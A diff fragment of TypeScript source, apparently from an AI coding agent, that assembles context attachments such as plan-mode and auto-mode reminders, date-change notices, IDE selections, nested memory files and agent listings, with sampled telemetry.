+          toolUseContext.options.mainLoopModel,
+          messages,
+        ),
+      ),
+    ),
+    maybe('companion_intro', () =>
+      Promise.resolve(getCompanionIntroAttachment(messages)),
+    ),
+    maybe('changed_files', () => getChangedFiles(context)),
+    maybe('nested_memory', () => getNestedMemoryAttachments(context)),
+    // relevant_memories moved to async prefetch (startRelevantMemoryPrefetch)
+    maybe('dynamic_skill', () => getDynamicSkillAttachments(context)),
+    maybe('skill_listing', () => getSkillListingAttachments(context)),
+    // Inter-turn skill discovery now runs via startSkillDiscoveryPrefetch
+    // (query.ts, concurrent with the main turn). The blocking call that
+    // previously lived here was the assistant_turn signal — 97% of those
+    // Haiku calls found nothing in prod. Prefetch + await-at-collection
+    // replaces it; see src/services/skillSearch/prefetch.ts.
+    maybe('plan_mode', () => getPlanModeAttachments(messages, toolUseContext)),
+    maybe('plan_mode_exit', () => getPlanModeExitAttachment(toolUseContext)),
+    ...(feature('TRANSCRIPT_CLASSIFIER')
+      ? [
+          maybe('auto_mode', () =>
+            getAutoModeAttachments(messages, toolUseContext),
+          ),
+          maybe('auto_mode_exit', () =>
+            getAutoModeExitAttachment(toolUseContext),
+          ),
+        ]
+      : []),
+    maybe('todo_reminders', () =>
+      isTodoV2Enabled()
+        ? getTaskReminderAttachments(messages, toolUseContext)
+        : getTodoReminderAttachments(messages, toolUseContext),
+    ),
+    ...(isAgentSwarmsEnabled()
+      ? [
+          // Skip teammate mailbox for the session_memory forked agent.
+          // It shares AppState.teamContext with the leader, so isTeamLead resolves
+          // true and it reads+marks-as-read the leader's DMs as ephemeral attachments,
+          // silently stealing messages that should be delivered as permanent turns.
+          ...(querySource === 'session_memory'
+            ? []
+            : [
+                maybe('teammate_mailbox', async () =>
+                  getTeammateMailboxAttachments(toolUseContext),
+                ),
+              ]),
+          maybe('team_context', async () =>
+            getTeamContextAttachment(messages ?? []),
+          ),
+        ]
+      : []),
+    maybe('agent_pending_messages', async () =>
+      getAgentPendingMessageAttachments(toolUseContext),
+    ),
+    maybe('critical_system_reminder', () =>
+      Promise.resolve(getCriticalSystemReminderAttachment(toolUseContext)),
+    ),
+    ...(feature('COMPACTION_REMINDERS')
+      ? [
+          maybe('compaction_reminder', () =>
+            Promise.resolve(
+              getCompactionReminderAttachment(
+                messages ?? [],
+                toolUseContext.options.mainLoopModel,
+              ),
+            ),
+          ),
+        ]
+      : []),
+    ...(feature('HISTORY_SNIP')
+      ? [
+          maybe('context_efficiency', () =>
+            Promise.resolve(getContextEfficiencyAttachment(messages ?? [])),
+          ),
+        ]
+      : []),
+  ]
+
+  // Attachments which are semantically only for the main conversation or don't have concurrency-safe implementations
+  const mainThreadAttachments = isMainThread
+    ? [
+        maybe('ide_selection', async () =>
+          getSelectedLinesFromIDE(ideSelection, toolUseContext),
+        ),
+        maybe('ide_opened_file', async () =>
+          getOpenedFileFromIDE(ideSelection, toolUseContext),
+        ),
+        maybe('output_style', async () =>
+          Promise.resolve(getOutputStyleAttachment()),
+        ),
+        maybe('diagnostics', async () =>
+          getDiagnosticAttachments(toolUseContext),
+        ),
+        maybe('lsp_diagnostics', async () =>
+          getLSPDiagnosticAttachments(toolUseContext),
+        ),
+        maybe('unified_tasks', async () =>
+          getUnifiedTaskAttachments(toolUseContext),
+        ),
+        maybe('async_hook_responses', async () =>
+          getAsyncHookResponseAttachments(),
+        ),
+        maybe('token_usage', async () =>
+          Promise.resolve(
+            getTokenUsageAttachment(
+              messages ?? [],
+              toolUseContext.options.mainLoopModel,
+            ),
+          ),
+        ),
+        maybe('budget_usd', async () =>
+          Promise.resolve(
+            getMaxBudgetUsdAttachment(toolUseContext.options.maxBudgetUsd),
+          ),
+        ),
+        maybe('output_token_usage', async () =>
+          Promise.resolve(getOutputTokenUsageAttachment()),
+        ),
+        maybe('verify_plan_reminder', async () =>
+          getVerifyPlanReminderAttachment(messages, toolUseContext),
+        ),
+      ]
+    : []
+
+  // Process thread and main thread attachments in parallel (no dependencies between them)
+  const [threadAttachmentResults, mainThreadAttachmentResults] =
+    await Promise.all([
+      Promise.all(allThreadAttachments),
+      Promise.all(mainThreadAttachments),
+    ])
+
+  clearTimeout(timeoutId)
+  // Defensive: a getter leaking [undefined] crashes .map(a => a.type) below.
+  return [
+    ...userAttachmentResults.flat(),
+    ...threadAttachmentResults.flat(),
+    ...mainThreadAttachmentResults.flat(),
+  ].filter(a => a !== undefined && a !== null)
+}
+
+async function maybe<A>(label: string, f: () => Promise<A[]>): Promise<A[]> {
+  const startTime = Date.now()
+  try {
+    const result = await f()
+    const duration = Date.now() - startTime
+    // Log only 5% of events to reduce volume
+    if (Math.random() < 0.05) {
+      // jsonStringify(undefined) returns undefined, so .length would throw
+      const attachmentSizeBytes = result
+        .filter(a => a !== undefined && a !== null)
+        .reduce((total, attachment) => {
+          return total + jsonStringify(attachment).length
+        }, 0)
+      logEvent('tengu_attachment_compute_duration', {
+        label,
+        duration_ms: duration,
+        attachment_size_bytes: attachmentSizeBytes,
+        attachment_count: result.length,
+      } as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS)
+    }
+    return result
+  } catch (e) {
+    const duration = Date.now() - startTime
+    // Log only 5% of events to reduce volume
+    if (Math.random() < 0.05) {
+      logEvent('tengu_attachment_compute_duration', {
+        label,
+        duration_ms: duration,
+        error: true,
+      } as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS)
+    }
+    logError(e)
+    // For Ant users, log the full error to help with debugging
+    logAntError(`Attachment error in ${label}`, e)
+
+    return []
+  }
+}
+
+const INLINE_NOTIFICATION_MODES = new Set(['prompt', 'task-notification'])
+
+export async function getQueuedCommandAttachments(
+  queuedCommands: QueuedCommand[],
+): Promise<Attachment[]> {
+  if (!queuedCommands) {
+    return []
+  }
+  // Include both 'prompt' and 'task-notification' commands as attachments.
+  // During proactive agentic loops, task-notification commands would otherwise
+  // stay in the queue permanently (useQueueProcessor can't run while a query
+  // is active), causing hasPendingNotifications() to return true and Sleep to
+  // wake immediately with 0ms duration in an infinite loop.
+  const filtered = queuedCommands.filter(_ =>
+    INLINE_NOTIFICATION_MODES.has(_.mode),
+  )
+  return Promise.all(
+    filtered.map(async _ => {
+      const imageBlocks = await buildImageContentBlocks(_.pastedContents)
+      let prompt: string | Array<ContentBlockParam> = _.value
+      if (imageBlocks.length > 0) {
+        // Build content block array with text + images so the model sees them
+        const textValue =
+          typeof _.value === 'string'
+            ? _.value
+            : extractTextContent(_.value, '\n')
+        prompt = [{ type: 'text' as const, text: textValue }, ...imageBlocks]
+      }
+      return {
+        type: 'queued_command' as const,
+        prompt,
+        source_uuid: _.uuid,
+        imagePasteIds: getImagePasteIds(_.pastedContents),
+        commandMode: _.mode,
+        origin: _.origin,
+        isMeta: _.isMeta,
+      }
+    }),
+  )
+}
+
+export function getAgentPendingMessageAttachments(
+  toolUseContext: ToolUseContext,
+): Attachment[] {
+  const agentId = toolUseContext.agentId
+  if (!agentId) return []
+  const drained = drainPendingMessages(
+    agentId,
+    toolUseContext.getAppState,
+    toolUseContext.setAppStateForTasks ?? toolUseContext.setAppState,
+  )
+  return drained.map(msg => ({
+    type: 'queued_command' as const,
+    prompt: msg,
+    origin: { kind: 'coordinator' as const },
+    isMeta: true,
+  }))
+}
+
+async function buildImageContentBlocks(
+  pastedContents: Record<number, PastedContent> | undefined,
+): Promise<ImageBlockParam[]> {
+  if (!pastedContents) {
+    return []
+  }
+  const imageContents = Object.values(pastedContents).filter(isValidImagePaste)
+  if (imageContents.length === 0) {
+    return []
+  }
+  const results = await Promise.all(
+    imageContents.map(async img => {
+      const imageBlock: ImageBlockParam = {
+        type: 'image',
+        source: {
+          type: 'base64',
+          media_type: (img.mediaType ||
+            'image/png') as Base64ImageSource['media_type'],
+          data: img.content,
+        },
+      }
+      const resized = await maybeResizeAndDownsampleImageBlock(imageBlock)
+      return resized.block
+    }),
+  )
+  return results
+}
+
+function getPlanModeAttachmentTurnCount(messages: Message[]): {
+  turnCount: number
+  foundPlanModeAttachment: boolean
+} {
+  let turnsSinceLastAttachment = 0
+  let foundPlanModeAttachment = false
+
+  // Iterate backwards to find most recent plan_mode attachment.
+  // Count HUMAN turns (non-meta, non-tool-result user messages), not assistant
+  // messages — the tool loop in query.ts calls getAttachmentMessages on every
+  // tool round, so counting assistant messages would fire the reminder every
+  // 5 tool calls instead of every 5 human turns.
+  for (let i = messages.length - 1; i >= 0; i--) {
+    const message = messages[i]
+
+    if (
+      message?.type === 'user' &&
+      !message.isMeta &&
+      !hasToolResultContent(message.message.content)
+    ) {
+      turnsSinceLastAttachment++
+    } else if (
+      message?.type === 'attachment' &&
+      (message.attachment.type === 'plan_mode' ||
+        message.attachment.type === 'plan_mode_reentry')
+    ) {
+      foundPlanModeAttachment = true
+      break
+    }
+  }
+
+  return { turnCount: turnsSinceLastAttachment, foundPlanModeAttachment }
+}
+
+/**
+ * Count plan_mode attachments since the last plan_mode_exit (or from start if no exit).
+ * This ensures the full/sparse cycle resets when re-entering plan mode.
+ */
+function countPlanModeAttachmentsSinceLastExit(messages: Message[]): number {
+  let count = 0
+  // Iterate backwards - if we hit a plan_mode_exit, stop counting
+  for (let i = messages.length - 1; i >= 0; i--) {
+    const message = messages[i]
+    if (message?.type === 'attachment') {
+      if (message.attachment.type === 'plan_mode_exit') {
+        break // Stop counting at the last exit
+      }
+      if (message.attachment.type === 'plan_mode') {
+        count++
+      }
+    }
+  }
+  return count
+}
+
+async function getPlanModeAttachments(
+  messages: Message[] | undefined,
+  toolUseContext: ToolUseContext,
+): Promise<Attachment[]> {
+  const appState = toolUseContext.getAppState()
+  const permissionContext = appState.toolPermissionContext
+  if (permissionContext.mode !== 'plan') {
+    return []
+  }
+
+  // Check if we should attach based on turn count (except for first turn)
+  if (messages && messages.length > 0) {
+    const { turnCount, foundPlanModeAttachment } =
+      getPlanModeAttachmentTurnCount(messages)
+    // Only throttle if we've already sent a plan_mode attachment before
+    // On first turn in plan mode, always attach
+    if (
+      foundPlanModeAttachment &&
+      turnCount < PLAN_MODE_ATTACHMENT_CONFIG.TURNS_BETWEEN_ATTACHMENTS
+    ) {
+      return []
+    }
+  }
+
+  const planFilePath = getPlanFilePath(toolUseContext.agentId)
+  const existingPlan = getPlan(toolUseContext.agentId)
+
+  const attachments: Attachment[] = []
+
+  // Check for re-entry: flag is set AND plan file exists
+  if (hasExitedPlanModeInSession() && existingPlan !== null) {
+    attachments.push({ type: 'plan_mode_reentry', planFilePath })
+    setHasExitedPlanMode(false) // Clear flag - one-time guidance
+  }
+
+  // Determine if this should be a full or sparse reminder
+  // Full reminder on 1st, 6th, 11th... (every Nth attachment)
+  const attachmentCount =
+    countPlanModeAttachmentsSinceLastExit(messages ?? []) + 1
+  const reminderType: 'full' | 'sparse' =
+    attachmentCount %
+      PLAN_MODE_ATTACHMENT_CONFIG.FULL_REMINDER_EVERY_N_ATTACHMENTS ===
+    1
+      ? 'full'
+      : 'sparse'
+
+  // Always add the main plan_mode attachment
+  attachments.push({
+    type: 'plan_mode',
+    reminderType,
+    isSubAgent: !!toolUseContext.agentId,
+    planFilePath,
+    planExists: existingPlan !== null,
+  })
+
+  return attachments
+}
+
+/**
+ * Returns a plan_mode_exit attachment if we just exited plan mode.
+ * This is a one-time notification to tell the model it's no longer in plan mode.
+ */
+async function getPlanModeExitAttachment(
+  toolUseContext: ToolUseContext,
+): Promise<Attachment[]> {
+  // Only trigger if the flag is set (we just exited plan mode)
+  if (!needsPlanModeExitAttachment()) {
+    return []
+  }
+
+  const appState = toolUseContext.getAppState()
+  if (appState.toolPermissionContext.mode === 'plan') {
+    setNeedsPlanModeExitAttachment(false)
+    return []
+  }
+
+  // Clear the flag - this is a one-time notification
+  setNeedsPlanModeExitAttachment(false)
+
+  const planFilePath = getPlanFilePath(toolUseContext.agentId)
+  const planExists = getPlan(toolUseContext.agentId) !== null
+
+  // Note: skill discovery does NOT fire on plan exit. By the time the plan is
+  // written, it's too late — the model should have had relevant skills WHILE
+  // planning. The user_message signal already fires on the request that
+  // triggers planning ("plan how to deploy this"), which is the right moment.
+  return [{ type: 'plan_mode_exit', planFilePath, planExists }]
+}
+
+function getAutoModeAttachmentTurnCount(messages: Message[]): {
+  turnCount: number
+  foundAutoModeAttachment: boolean
+} {
+  let turnsSinceLastAttachment = 0
+  let foundAutoModeAttachment = false
+
+  // Iterate backwards to find most recent auto_mode attachment.
+  // Count HUMAN turns (non-meta, non-tool-result user messages), not assistant
+  // messages — the tool loop in query.ts calls getAttachmentMessages on every
+  // tool round, so a single human turn with 100 tool calls would fire ~20
+  // reminders if we counted assistant messages. Auto mode's target use case is
+  // long agentic sessions, where this accumulated 60-105× per session.
+  for (let i = messages.length - 1; i >= 0; i--) {
+    const message = messages[i]
+
+    if (
+      message?.type === 'user' &&
+      !message.isMeta &&
+      !hasToolResultContent(message.message.content)
+    ) {
+      turnsSinceLastAttachment++
+    } else if (
+      message?.type === 'attachment' &&
+      message.attachment.type === 'auto_mode'
+    ) {
+      foundAutoModeAttachment = true
+      break
+    } else if (
+      message?.type === 'attachment' &&
+      message.attachment.type === 'auto_mode_exit'
+    ) {
+      // Exit resets the throttle — treat as if no prior attachment exists
+      break
+    }
+  }
+
+  return { turnCount: turnsSinceLastAttachment, foundAutoModeAttachment }
+}
+
+/**
+ * Count auto_mode attachments since the last auto_mode_exit (or from start if no exit).
+ * This ensures the full/sparse cycle resets when re-entering auto mode.
+ */
+function countAutoModeAttachmentsSinceLastExit(messages: Message[]): number {
+  let count = 0
+  for (let i = messages.length - 1; i >= 0; i--) {
+    const message = messages[i]
+    if (message?.type === 'attachment') {
+      if (message.attachment.type === 'auto_mode_exit') {
+        break
+      }
+      if (message.attachment.type === 'auto_mode') {
+        count++
+      }
+    }
+  }
+  return count
+}
+
+async function getAutoModeAttachments(
+  messages: Message[] | undefined,
+  toolUseContext: ToolUseContext,
+): Promise<Attachment[]> {
+  const appState = toolUseContext.getAppState()
+  const permissionContext = appState.toolPermissionContext
+  const inAuto = permissionContext.mode === 'auto'
+  const inPlanWithAuto =
+    permissionContext.mode === 'plan' &&
+    (autoModeStateModule?.isAutoModeActive() ?? false)
+  if (!inAuto && !inPlanWithAuto) {
+    return []
+  }
+
+  // Check if we should attach based on turn count (except for first turn)
+  if (messages && messages.length > 0) {
+    const { turnCount, foundAutoModeAttachment } =
+      getAutoModeAttachmentTurnCount(messages)
+    // Only throttle if we've already sent an auto_mode attachment before
+    // On first turn in auto mode, always attach
+    if (
+      foundAutoModeAttachment &&
+      turnCount < AUTO_MODE_ATTACHMENT_CONFIG.TURNS_BETWEEN_ATTACHMENTS
+    ) {
+      return []
+    }
+  }
+
+  // Determine if this should be a full or sparse reminder
+  const attachmentCount =
+    countAutoModeAttachmentsSinceLastExit(messages ?? []) + 1
+  const reminderType: 'full' | 'sparse' =
+    attachmentCount %
+      AUTO_MODE_ATTACHMENT_CONFIG.FULL_REMINDER_EVERY_N_ATTACHMENTS ===
+    1
+      ? 'full'
+      : 'sparse'
+
+  return [{ type: 'auto_mode', reminderType }]
+}
+
+/**
+ * Returns an auto_mode_exit attachment if we just exited auto mode.
+ * This is a one-time notification to tell the model it's no longer in auto mode.
+ */
+async function getAutoModeExitAttachment(
+  toolUseContext: ToolUseContext,
+): Promise<Attachment[]> {
+  if (!needsAutoModeExitAttachment()) {
+    return []
+  }
+
+  const appState = toolUseContext.getAppState()
+  // Suppress when auto is still active — covers both mode==='auto' and
+  // plan-with-auto-active (where mode==='plan' but classifier runs).
+  if (
+    appState.toolPermissionContext.mode === 'auto' ||
+    (autoModeStateModule?.isAutoModeActive() ?? false)
+  ) {
+    setNeedsAutoModeExitAttachment(false)
+    return []
+  }
+
+  setNeedsAutoModeExitAttachment(false)
+  return [{ type: 'auto_mode_exit' }]
+}
+
+/**
+ * Detects when the local date has changed since the last turn (user coding
+ * past midnight) and emits an attachment to notify the model.
+ *
+ * The date_change attachment is appended at the tail of the conversation,
+ * so the model learns the new date without mutating the cached prefix.
+ * messages[0] (from getUserContext → prependUserContext) intentionally
+ * keeps the stale date — clearing that cache would regenerate the prefix
+ * and turn the entire conversation into cache_creation on the next turn
+ * (~920K effective tokens per midnight crossing per overnight session).
+ *
+ * Exported for testing — regression guard for the cache-clear removal.
+ */
+export function getDateChangeAttachments(
+  messages: Message[] | undefined,
+): Attachment[] {
+  const currentDate = getLocalISODate()
+  const lastDate = getLastEmittedDate()
+
+  if (lastDate === null) {
+    // First turn — just record, no attachment needed
+    setLastEmittedDate(currentDate)
+    return []
+  }
+
+  if (currentDate === lastDate) {
+    return []
+  }
+
+  setLastEmittedDate(currentDate)
+
+  // Assistant mode: flush yesterday's transcript to the per-day file so
+  // the /dream skill (1–5am local) finds it even if no compaction fires
+  // today. Fire-and-forget; writeSessionTranscriptSegment buckets by
+  // message timestamp so a multi-day gap flushes each day correctly.
+  if (feature('KAIROS')) {
+    if (getKairosActive() && messages !== undefined) {
+      sessionTranscriptModule?.flushOnDateChange(messages, currentDate)
+    }
+  }
+
+  return [{ type: 'date_change', newDate: currentDate }]
+}
+
+function getUltrathinkEffortAttachment(input: string | null): Attachment[] {
+  if (!isUltrathinkEnabled() || !input || !hasUltrathinkKeyword(input)) {
+    return []
+  }
+  logEvent('tengu_ultrathink', {})
+  return [{ type: 'ultrathink_effort', level: 'high' }]
+}
+
+// Exported for compact.ts — the gate must be identical at both call sites.
+export function getDeferredToolsDeltaAttachment(
+  tools: Tools,
+  model: string,
+  messages: Message[] | undefined,
+  scanContext?: DeferredToolsDeltaScanContext,
+): Attachment[] {
+  if (!isDeferredToolsDeltaEnabled()) return []
+  // These three checks mirror the sync parts of isToolSearchEnabled —
+  // the attachment text says "available via ToolSearch", so ToolSearch
+  // has to actually be in the request. The async auto-threshold check
+  // is not replicated (would double-fire tengu_tool_search_mode_decision);
+  // in tst-auto below-threshold the attachment can fire while ToolSearch
+  // is filtered out, but that's a narrow case and the tools announced
+  // are directly callable anyway.
+  if (!isToolSearchEnabledOptimistic()) return []
+  if (!modelSupportsToolReference(model)) return []
+  if (!isToolSearchToolAvailable(tools)) return []
+  const delta = getDeferredToolsDelta(tools, messages ?? [], scanContext)
+  if (!delta) return []
+  return [{ type: 'deferred_tools_delta', ...delta }]
+}
+
+/**
+ * Diff the current filtered agent pool against what's already been announced
+ * in this conversation (reconstructed from prior agent_listing_delta
+ * attachments). Returns [] if nothing changed or the gate is off.
+ *
+ * The agent list was embedded in AgentTool's description, causing ~10.2% of
+ * fleet cache_creation: MCP async connect, /reload-plugins, or
+ * permission-mode change → description changes → full tool-schema cache bust.
+ * Moving the list here keeps the tool description static.
+ *
+ * Exported for compact.ts — re-announces the full set after compaction eats
+ * prior deltas.
+ */
+export function getAgentListingDeltaAttachment(
+  toolUseContext: ToolUseContext,
+  messages: Message[] | undefined,
+): Attachment[] {
+  if (!shouldInjectAgentListInMessages()) return []
+
+  // Skip if AgentTool isn't in the pool — the listing would be unactionable.
+  if (
+    !toolUseContext.options.tools.some(t => toolMatchesName(t, AGENT_TOOL_NAME))
+  ) {
+    return []
+  }
+
+  const { activeAgents, allowedAgentTypes } =
+    toolUseContext.options.agentDefinitions
+
+  // Mirror AgentTool.prompt()'s filtering: MCP requirements → deny rules →
+  // allowedAgentTypes restriction. Keep this in sync with AgentTool.tsx.
+  const mcpServers = new Set<string>()
+  for (const tool of toolUseContext.options.tools) {
+    const info = mcpInfoFromString(tool.name)
+    if (info) mcpServers.add(info.serverName)
+  }
+  const permissionContext = toolUseContext.getAppState().toolPermissionContext
+  let filtered = filterDeniedAgents(
+    filterAgentsByMcpRequirements(activeAgents, [...mcpServers]),
+    permissionContext,
+    AGENT_TOOL_NAME,
+  )
+  if (allowedAgentTypes) {
+    filtered = filtered.filter(a => allowedAgentTypes.includes(a.agentType))
+  }
+
+  // Reconstruct announced set from prior deltas in the transcript.
+  const announced = new Set<string>()
+  for (const msg of messages ?? []) {
+    if (msg.type !== 'attachment') continue
+    if (msg.attachment.type !== 'agent_listing_delta') continue
+    for (const t of msg.attachment.addedTypes) announced.add(t)
+    for (const t of msg.attachment.removedTypes) announced.delete(t)
+  }
+
+  const currentTypes = new Set(filtered.map(a => a.agentType))
+  const added = filtered.filter(a => !announced.has(a.agentType))
+  const removed: string[] = []
+  for (const t of announced) {
+    if (!currentTypes.has(t)) removed.push(t)
+  }
+
+  if (added.length === 0 && removed.length === 0) return []
+
+  // Sort for deterministic output — agent load order is nondeterministic
+  // (plugin load races, MCP async connect).
+  added.sort((a, b) => a.agentType.localeCompare(b.agentType))
+  removed.sort()
+
+  return [
+    {
+      type: 'agent_listing_delta',
+      addedTypes: added.map(a => a.agentType),
+      addedLines: added.map(formatAgentLine),
+      removedTypes: removed,
+      isInitial: announced.size === 0,
+      showConcurrencyNote: getSubscriptionType() !== 'pro',
+    },
+  ]
+}
+
+// Exported for compact.ts / reactiveCompact.ts — single source of truth for the gate.
+export function getMcpInstructionsDeltaAttachment(
+  mcpClients: MCPServerConnection[],
+  tools: Tools,
+  model: string,
+  messages: Message[] | undefined,
+): Attachment[] {
+  if (!isMcpInstructionsDeltaEnabled()) return []
+
+  // The chrome ToolSearch hint is client-authored and ToolSearch-conditional;
+  // actual server `instructions` are unconditional. Decide the chrome part
+  // here, pass it into the pure diff as a synthesized entry.
+  const clientSide: ClientSideInstruction[] = []
+  if (
+    isToolSearchEnabledOptimistic() &&
+    modelSupportsToolReference(model) &&
+    isToolSearchToolAvailable(tools)
+  ) {
+    clientSide.push({
+      serverName: CLAUDE_IN_CHROME_MCP_SERVER_NAME,
+      block: CHROME_TOOL_SEARCH_INSTRUCTIONS,
+    })
+  }
+
+  const delta = getMcpInstructionsDelta(mcpClients, messages ?? [], clientSide)
+  if (!delta) return []
+  return [{ type: 'mcp_instructions_delta', ...delta }]
+}
+
+function getCriticalSystemReminderAttachment(
+  toolUseContext: ToolUseContext,
+): Attachment[] {
+  const reminder = toolUseContext.criticalSystemReminder_EXPERIMENTAL
+  if (!reminder) {
+    return []
+  }
+  return [{ type: 'critical_system_reminder', content: reminder }]
+}
+
+function getOutputStyleAttachment(): Attachment[] {
+  const settings = getSettings_DEPRECATED()
+  const outputStyle = settings?.outputStyle || 'default'
+
+  // Only show for non-default styles
+  if (outputStyle === 'default') {
+    return []
+  }
+
+  return [
+    {
+      type: 'output_style',
+      style: outputStyle,
+    },
+  ]
+}
+
+async function getSelectedLinesFromIDE(
+  ideSelection: IDESelection | null,
+  toolUseContext: ToolUseContext,
+): Promise<Attachment[]> {
+  const ideName = getConnectedIdeName(toolUseContext.options.mcpClients)
+  if (
+    !ideName ||
+    ideSelection?.lineStart === undefined ||
+    !ideSelection.text ||
+    !ideSelection.filePath
+  ) {
+    return []
+  }
+
+  const appState = toolUseContext.getAppState()
+  if (isFileReadDenied(ideSelection.filePath, appState.toolPermissionContext)) {
+    return []
+  }
+
+  return [
+    {
+      type: 'selected_lines_in_ide',
+      ideName,
+      lineStart: ideSelection.lineStart,
+      lineEnd: ideSelection.lineStart + ideSelection.lineCount - 1,
+      filename: ideSelection.filePath,
+      content: ideSelection.text,
+      displayPath: relative(getCwd(), ideSelection.filePath),
+    },
+  ]
+}
+
+/**
+ * Computes the directories to process for nested memory file loading.
+ * Returns two lists:
+ * - nestedDirs: Directories between CWD and targetPath (processed for CLAUDE.md + all rules)
+ * - cwdLevelDirs: Directories from root to CWD (processed for conditional rules only)
+ *
+ * @param targetPath The target file path
+ * @param originalCwd The original current working directory
+ * @returns Object with nestedDirs and cwdLevelDirs arrays, both ordered from parent to child
+ */
+export function getDirectoriesToProcess(
+  targetPath: string,
+  originalCwd: string,
+): { nestedDirs: string[]; cwdLevelDirs: string[] } {
+  // Build list of directories from original CWD to targetPath's directory
+  const targetDir = dirname(resolve(targetPath))
+  const nestedDirs: string[] = []
+  let currentDir = targetDir
+
+  // Walk up from target directory to original CWD
+  while (currentDir !== originalCwd && currentDir !== parse(currentDir).root) {
+    if (currentDir.startsWith(originalCwd)) {
+      nestedDirs.push(currentDir)
+    }
+    currentDir = dirname(currentDir)
+  }
+
+  // Reverse to get order from CWD down to target
+  nestedDirs.reverse()
+
+  // Build list of directories from root to CWD (for conditional rules only)
+  const cwdLevelDirs: string[] = []
+  currentDir = originalCwd
+
+  while (currentDir !== parse(currentDir).root) {
+    cwdLevelDirs.push(currentDir)
+    currentDir = dirname(currentDir)
+  }
+
+  // Reverse to get order from root to CWD
+  cwdLevelDirs.reverse()
+
+  return { nestedDirs, cwdLevelDirs }
+}
+
+/**
+ * Converts memory files to attachments, filtering out already-loaded files.
+ *
+ * @param memoryFiles The memory files to convert
+ * @param toolUseContext The tool use context (for tracking loaded files)
+ * @returns Array of nested memory attachments
+ */
+function isInstructionsMemoryType(
+  type: MemoryFileInfo['type'],
+): type is InstructionsMemoryType {
+  return (
+    type === 'User' ||
+    type === 'Project' ||
+    type === 'Local' ||
+    type === 'Managed'
+  )
+}
+
+/** Exported for testing — regression guard for LRU-eviction re-injection. */
+export function memoryFilesToAttachments(
+  memoryFiles: MemoryFileInfo[],
+  toolUseContext: ToolUseContext,
+  triggerFilePath?: string,
+): Attachment[] {
+  const attachments: Attachment[] = []
+  const shouldFireHook = hasInstructionsLoadedHook()
+
+  for (const memoryFile of memoryFiles) {
+    // Dedup: loadedNestedMemoryPaths is a non-evicting Set; readFileState
+    // is a 100-entry LRU that drops entries in busy sessions, so relying
+    // on it alone re-injects the same CLAUDE.md on every eviction cycle.
+    if (toolUseContext.loadedNestedMemoryPaths?.has(memoryFile.path)) {
+      continue
+    }
+    if (!toolUseContext.readFileState.has(memoryFile.path)) {
+      attachments.push({
+        type: 'nested_memory',
+        path: memoryFile.path,
+        content: memoryFile,
+        displayPath: relative(getCwd(), memoryFile.path),
+      })
+      toolUseContext.loadedNestedMemoryPaths?.add(memoryFile.path)
+
+      // Mark as loaded in readFileState — this provides cross-function and
+      // cross-turn dedup via the .has() check above.
+      //
+      // When the injected content doesn't match disk (stripped HTML comments,
+      // stripped frontmatter, truncated MEMORY.md), cache the RAW disk bytes
+      // with `isPartialView: true`. Edit/Write see the flag and require a real
+      // Read first; getChangedFiles sees real content + undefined offset/limit
+      // so mid-session change detection still works.
+      toolUseContext.readFileState.set(memoryFile.path, {
+        content: memoryFile.contentDiffersFromDisk
+          ? (memoryFile.rawContent ?? memoryFile.content)
+          : memoryFile.content,
+        timestamp: Date.now(),
+        offset: undefined,
+        limit: undefined,
+        isPartialView: memoryFile.contentDiffersFromDisk,
+      })
+
+
+      // Fire InstructionsLoaded hook for audit/observability (fire-and-forget)
+      if (shouldFireHook && isInstructionsMemoryType(memoryFile.type)) {
+        const loadReason = memoryFile.globs
+          ? 'path_glob_match'
+          : memoryFile.parent
+            ? 'include'
+            : 'nested_traversal'
+        void executeInstructionsLoadedHooks(
+          memoryFile.path,
+          memoryFile.type,
+          loadReason,
+          {
+            globs: memoryFile.globs,
+            triggerFilePath,
+            parentFilePath: memoryFile.parent,
+          },
+        )
+      }
+    }
+  }
+
+  return attachments
+}
+
+/**
+ * Loads nested memory files for a given file path and returns them as attachments.
+ * This function performs directory traversal to find CLAUDE.md files and conditional rules
+ * that apply to the target file path.
+ *
+ * Processing order (must be preserved):
+ * 1. Managed/User conditional rules matching targetPath
+ * 2. Nested directories (CWD → target): CLAUDE.md + unconditional + conditional rules
+ * 3. CWD-level directories (root → CWD): conditional rules only
+ *
+ * @param filePath The file path to get nested memory files for
+ * @param toolUseContext The tool use context
+ * @param appState The app state containing tool permission context
+ * @returns Array of nested memory attachments
+ */
+async function getNestedMemoryAttachmentsForFile(
+  filePath: string,
+  toolUseContext: ToolUseContext,
+  appState: { toolPermissionContext: ToolPermissionContext },
+): Promise<Attachment[]> {
+  const attachments: Attachment[] = []
+
+  try {
+    // Early return if path is not in allowed working path
+    if (!pathInAllowedWorkingPath(filePath, appState.toolPermissionContext)) {
+      return attachments
+    }
+
+    const processedPaths = new Set<string>()
+    const originalCwd = getOriginalCwd()
+
+    // Phase 1: Process Managed and User conditional rules
+    const managedUserRules = await getManagedAndUserConditionalRules(
+      filePath,
+      processedPaths,
+    )
+    attachments.push(
+      ...memoryFilesToAttachments(managedUserRules, toolUseContext, filePath),
+    )
+
+    // Phase 2: Get directories to process
+    const { nestedDirs, cwdLevelDirs } = getDirectoriesToProcess(
+      filePath,
+      originalCwd,
+    )
+
+    const skipProjectLevel = getFeatureValue_CACHED_MAY_BE_STALE(
+      'tengu_paper_halyard',
+      false,
+    )
+
+    // Phase 3: Process nested directories (CWD → target)
+    // Each directory gets: CLAUDE.md + unconditional rules + conditional rules
+    for (const dir of nestedDirs) {
+      const memoryFiles = (
+        await getMemoryFilesForNestedDirectory(dir, filePath, processedPaths)
+      ).filter(
+        f => !skipProjectLevel || (f.type !== 'Project' && f.type !== 'Local'),
+      )
+      attachments.push(
+        ...memoryFilesToAttachments(memoryFiles, toolUseContext, filePath),
+      )
+    }
+
+    // Phase 4: Process CWD-level directories (root → CWD)
+    // Only conditional rules (unconditional rules are already loaded eagerly)
+    for (const dir of cwdLevelDirs) {
+      const conditionalRules = (
+        await getConditionalRulesForCwdLevelDirectory(
+          dir,
+          filePath,
+          processedPaths,
+        )
+      ).filter(
+        f => !skipProjectLevel || (f.type !== 'Project' && f.type !== 'Local'),
+      )
+      attachments.push(
+        ...memoryFilesToAttachments(conditionalRules, toolUseContext, filePath),
+      )
+    }
+  } catch (error) {
+    logError(error)
+  }
+
+  return attachments
+}
+
+async function getOpenedFileFromIDE(
+  ideSelection: IDESelection | null,
+  toolUseContext: ToolUseContext,
+): Promise<Attachment[]> {
+  if (!ideSelection?.filePath || ideSelection.text) {
+    return []
+  }
+
